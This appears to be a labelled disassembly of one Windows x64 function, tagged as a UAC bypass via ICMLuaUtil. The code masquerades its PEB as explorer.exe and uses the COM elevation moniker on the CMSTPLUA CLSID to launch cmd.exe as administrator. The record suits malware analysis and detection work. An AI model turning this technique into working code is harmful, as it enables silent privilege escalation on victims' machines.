Function at 0x140001060
Capabilities:
Bypass uac via icmluautil
Link many functions at runtime

Disassembly:
push rdi
sub rsp, 0x290
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x280], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
je 0x1400012d2
mov qword [rsp + 0x2a0], rbx
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
mov qword [rsp + 0x2a8], rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlEnterCriticalSection
mov rcx, rdi
mov qword [0x140005690], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlLeaveCriticalSection
mov rcx, rdi
mov qword [0x140005678], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.LdrEnumerateLoadedModules
mov rcx, rdi
mov qword [0x140005670], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rdi
mov qword [0x140005680], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x140005690], 0
mov qword [0x140005688], rax
je 0x140001148
cmp qword [0x140005678], 0
je 0x140001148
cmp qword [0x140005670], 0
je 0x140001148
cmp qword [0x140005680], 0
je 0x140001148
test rax, rax
jne 0x1400011e5
mov rax, qword gs:[0x30]
lea r9, [rsp + 0x38]
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x30]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
mov rcx, 0xffffffffffffffff
mov rdi, qword [rax + 0x60]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0x1000
call qword [0x140005688]
test eax, eax
js 0x1400011e5
mov rcx, qword [rdi + 0x38]
call qword [0x140005678]
mov rcx, qword [rdi + 0x20]
lea rdx, str.C:windowsexplorer.exe
add rcx, 0x60
call qword [0x140005690]
mov rcx, qword [rdi + 0x20]
lea rdx, str.C:windowsexplorer.exe
add rcx, 0x70
call qword [0x140005690]
mov rcx, qword [rdi + 0x38]
call qword [0x140005670]
mov r8, rdi
lea rdx, section..text
xor ecx, ecx
call qword [0x140005680]
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea rcx, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
mov qword [rsp + 0x38], 0
mov esi, eax
mov ebx, 0x80004005
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x40
jg 0x140001274
xor eax, eax
lea rdi, [rsp + 0x40]
mov ecx, 0x30
lea rdx, str.Elevation:Administrator_new:
rep stosb byte [rdi], al
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x40], 0x30
mov dword [rsp + 0x54], 4
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r9, [rsp + 0x38]
lea r8, [0x140003440]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call qword [sym.imp.ole32.dll_CoGetObject]
mov ebx, eax
mov rdi, qword [rsp + 0x38]
test ebx, ebx
mov rbx, qword [rsp + 0x2a0]
jne 0x1400012b2
test rdi, rdi
je 0x1400012c0
mov rax, qword [rdi]
lea rdx, str.c:windows_system32cmd.exe
mov dword [rsp + 0x28], 5
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0
mov rcx, rdi
call qword [rax + 0x48]
jmp 0x1400012b7
test rdi, rdi
je 0x1400012c0
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
test esi, esi
mov rsi, qword [rsp + 0x2a8]
jne 0x1400012d2
call qword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.140001300
add rsp, 0x290
pop rdi
ret